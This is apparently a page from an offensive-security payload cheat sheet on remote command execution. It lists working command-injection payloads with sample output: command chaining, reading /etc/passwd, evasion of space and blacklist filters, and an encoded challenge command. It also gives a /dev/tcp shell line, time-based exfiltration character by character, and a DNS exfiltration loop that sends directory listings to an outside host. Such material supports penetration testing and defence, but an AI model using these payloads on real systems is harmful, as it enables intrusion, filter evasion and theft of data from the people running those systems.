Remote Commands Execution

Remote Commands execution is a security vulnerability that allows an attacker to execute Commandss from a remote server.
NOTE: Reverse Shell Command are relocated to a single file

Exploits

Normal Commands execution, execute the command and voila :p

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Commands execution by chaining commands

original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls    Only if the first cmd fail

Commands execution inside a command

original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)

Commands execution without space - Linux

swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242

Commands execution without space - Windows

ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP

Commands execution without spaces, $ or { } - Linux (Bash only)

IFS=,;`cat<<<uname,-a`

Commands execution with a line return

something%0Acat%20/etc/passwd

Bypass blacklisted word with single quote

w'h'o'am'i

Bypass blacklisted word with double quote

w"h"o"am"i

Bypass blacklisted word with backslash

w\ho\am\i

Bypass blacklisted word with $@

who$@ami

Bypass blacklisted word with variable expansion

test=/ehhh/hmtc/pahhh/hmsswd 
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

Bypass zsh/bash/sh blacklist

echo $0
-> /usr/bin/zsh
echo whoami|$0

Challenge

Challenge based on the previous tricks, what does the following command do:

g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}

Time based data exfiltration

Extracting data : char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real	0m5.007s
user	0m0.000s
sys	0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real	0m0.002s
user	0m0.000s
sys	0m0.000s

DNS based data exfiltration

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

3.6 KiB Raw Blame History

Remote Commands Execution

Exploits

Challenge

Time based data exfiltration

DNS based data exfiltration

Thanks to

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Raw Blame History